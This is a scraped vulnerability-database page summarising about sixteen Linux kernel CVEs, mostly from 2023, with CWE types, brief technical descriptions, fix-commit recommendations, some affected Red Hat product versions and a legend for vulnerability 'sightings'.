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CVE-2023-4623 (GCVE-0-2023-4623)
Vulnerability from cvelistv5
Published
2023-09-06 13:56
Modified
2025-02-27 21:00
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-416 - Use After Free
Summary
A use-after-free vulnerability in the Linux kernel's net/sched: sch_hfsc (HFSC qdisc traffic control) component can be exploited to achieve local privilege escalation.
If a class with a link-sharing curve (i.e. with the HFSC_FSC flag set) has a parent without a link-sharing curve, then init_vf() will call vttree_insert() on the parent, but vttree_remove() will be skipped in update_vf(). This leaves a dangling pointer that can cause a use-after-free.
We recommend upgrading past commit b3d26c5702c7d6c45456326e56d2ccf3f103e60f.
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CVE-2023-5717 (GCVE-0-2023-5717)
Vulnerability from cvelistv5
Published
2023-10-25 12:55
Modified
2025-02-13 17:25
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-787 - Out-of-bounds Write
Summary
A heap out-of-bounds write vulnerability in the Linux kernel's Linux Kernel Performance Events (perf) component can be exploited to achieve local privilege escalation.
If perf_read_group() is called while an event's sibling_list is smaller than its child's sibling_list, it can increment or write to memory locations outside of the allocated buffer.
We recommend upgrading past commit 32671e3799ca2e4590773fd0e63aaa4229e50c06.
References
| URL | Tags | |||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
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CVE-2023-6536 (GCVE-0-2023-6536)
Vulnerability from cvelistv5
Published
2024-02-07 21:05
Modified
2025-09-25 19:22
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-476 - NULL Pointer Dereference
Summary
A flaw was found in the Linux kernel's NVMe driver. This issue may allow an unauthenticated malicious actor to send a set of crafted TCP packages when using NVMe over TCP, leading the NVMe driver to a NULL pointer dereference in the NVMe driver, causing kernel panic and a denial of service.
References
| URL | Tags | |||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
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Impacted products
| Vendor | Product | Version | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Red Hat | Red Hat Enterprise Linux 8 |
Unaffected: 0:4.18.0-513.18.1.rt7.320.el8_9 < * cpe:/a:redhat:enterprise_linux:8::nfv cpe:/a:redhat:enterprise_linux:8::realtime |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
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CVE-2023-1838 (GCVE-0-2023-1838)
Vulnerability from cvelistv5
Published
2023-04-05 00:00
Modified
2024-08-02 06:05
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
A use-after-free flaw was found in vhost_net_set_backend in drivers/vhost/net.c in virtio network subcomponent in the Linux kernel due to a double fget. This flaw could allow a local attacker to crash the system, and could even lead to a kernel information leak problem.
References
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CVE-2023-31084 (GCVE-0-2023-31084)
Vulnerability from cvelistv5
Published
2023-04-24 00:00
Modified
2025-03-18 19:16
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- n/a
Summary
An issue was discovered in drivers/media/dvb-core/dvb_frontend.c in the Linux kernel 6.2. There is a blocking operation when a task is in !TASK_RUNNING. In dvb_frontend_get_event, wait_event_interruptible is called; the condition is dvb_frontend_test_event(fepriv,events). In dvb_frontend_test_event, down(&fepriv->sem) is called. However, wait_event_interruptible would put the process to sleep, and down(&fepriv->sem) may block the process.
References
| URL | Tags | ||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
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CVE-2023-6610 (GCVE-0-2023-6610)
Vulnerability from cvelistv5
Published
2023-12-08 16:58
Modified
2025-10-09 23:57
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-125 - Out-of-bounds Read
Summary
An out-of-bounds read vulnerability was found in smb2_dump_detail in fs/smb/client/smb2ops.c in the Linux Kernel. This issue could allow a local attacker to crash the system or leak internal kernel information.
References
| URL | Tags | ||||||||||||||||||||||||||||||||||
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|
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Impacted products
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| Red Hat | Red Hat Enterprise Linux 8 |
Unaffected: 0:4.18.0-513.18.1.rt7.320.el8_9 < * cpe:/a:redhat:enterprise_linux:8::nfv cpe:/a:redhat:enterprise_linux:8::realtime |
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CVE-2023-6931 (GCVE-0-2023-6931)
Vulnerability from cvelistv5
Published
2023-12-19 14:09
Modified
2025-02-13 17:26
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-787 - Out-of-bounds Write
Summary
A heap out-of-bounds write vulnerability in the Linux kernel's Performance Events system component can be exploited to achieve local privilege escalation.
A perf_event's read_size can overflow, leading to an heap out-of-bounds increment or write in perf_read_group().
We recommend upgrading past commit 382c27f4ed28f803b1f1473ac2d8db0afc795a1b.
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CVE-2023-46813 (GCVE-0-2023-46813)
Vulnerability from cvelistv5
Published
2023-10-27 00:00
Modified
2024-08-02 20:53
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- n/a
Summary
An issue was discovered in the Linux kernel before 6.5.9, exploitable by local users with userspace access to MMIO registers. Incorrect access checking in the #VC handler and instruction emulation of the SEV-ES emulation of MMIO accesses could lead to arbitrary write access to kernel memory (and thus privilege escalation). This depends on a race condition through which userspace can replace an instruction before the #VC handler reads it.
References
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CVE-2022-41858 (GCVE-0-2022-41858)
Vulnerability from cvelistv5
Published
2023-01-17 00:00
Modified
2025-04-07 16:46
Severity ?
VLAI Severity ?
EPSS score ?
CWE
Summary
A flaw was found in the Linux kernel. A NULL pointer dereference may occur while a slip driver is in progress to detach in sl_tx_timeout in drivers/net/slip/slip.c. This issue could allow an attacker to crash the system or leak internal kernel information.
References
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| n/a | Linux kernel |
Version: unknown |
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CVE-2022-23960 (GCVE-0-2022-23960)
Vulnerability from cvelistv5
Published
2022-03-12 23:57
Modified
2024-08-03 03:59
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- n/a
Summary
Certain Arm Cortex and Neoverse processors through 2022-03-08 do not properly restrict cache speculation, aka Spectre-BHB. An attacker can leverage the shared branch history in the Branch History Buffer (BHB) to influence mispredicted branches. Then, cache allocation can allow the attacker to obtain sensitive information.
References
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CVE-2023-30456 (GCVE-0-2023-30456)
Vulnerability from cvelistv5
Published
2023-04-10 00:00
Modified
2025-03-19 15:43
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- n/a
Summary
An issue was discovered in arch/x86/kvm/vmx/nested.c in the Linux kernel before 6.2.8. nVMX on x86_64 lacks consistency checks for CR0 and CR4.
References
| URL | Tags | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
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CVE-2023-4921 (GCVE-0-2023-4921)
Vulnerability from cvelistv5
Published
2023-09-12 19:45
Modified
2025-02-13 17:18
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-416 - Use After Free
Summary
A use-after-free vulnerability in the Linux kernel's net/sched: sch_qfq component can be exploited to achieve local privilege escalation.
When the plug qdisc is used as a class of the qfq qdisc, sending network packets triggers use-after-free in qfq_dequeue() due to the incorrect .peek handler of sch_plug and lack of error checking in agg_dequeue().
We recommend upgrading past commit 8fc134fee27f2263988ae38920bc03da416b03d8.
References
| URL | Tags | |||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
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CVE-2023-6356 (GCVE-0-2023-6356)
Vulnerability from cvelistv5
Published
2024-02-07 21:04
Modified
2025-09-25 19:21
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-476 - NULL Pointer Dereference
Summary
A flaw was found in the Linux kernel's NVMe driver. This issue may allow an unauthenticated malicious actor to send a set of crafted TCP packages when using NVMe over TCP, leading the NVMe driver to a NULL pointer dereference in the NVMe driver and causing kernel panic and a denial of service.
References
| URL | Tags | |||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||||||||
Impacted products
| Vendor | Product | Version | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Red Hat | Red Hat Enterprise Linux 8 |
Unaffected: 0:4.18.0-513.18.1.rt7.320.el8_9 < * cpe:/a:redhat:enterprise_linux:8::realtime cpe:/a:redhat:enterprise_linux:8::nfv |
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
|
|||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
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CVE-2024-0646 (GCVE-0-2024-0646)
Vulnerability from cvelistv5
Published
2024-01-17 15:16
Modified
2025-10-09 11:52
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- CWE-787 - Out-of-bounds Write
Summary
An out-of-bounds memory write flaw was found in the Linux kernel’s Transport Layer Security functionality in how a user calls a function splice with a ktls socket as the destination. This flaw allows a local user to crash or potentially escalate their privileges on the system.
References
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CVE-2023-40283 (GCVE-0-2023-40283)
Vulnerability from cvelistv5
Published
2023-08-14 00:00
Modified
2024-08-02 18:31
Severity ?
VLAI Severity ?
EPSS score ?
CWE
- n/a
Summary
An issue was discovered in l2cap_sock_release in net/bluetooth/l2cap_sock.c in the Linux kernel before 6.4.10. There is a use-after-free because the children of an sk are mishandled.
References
| URL | Tags | |||||||||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||||||||
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Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.
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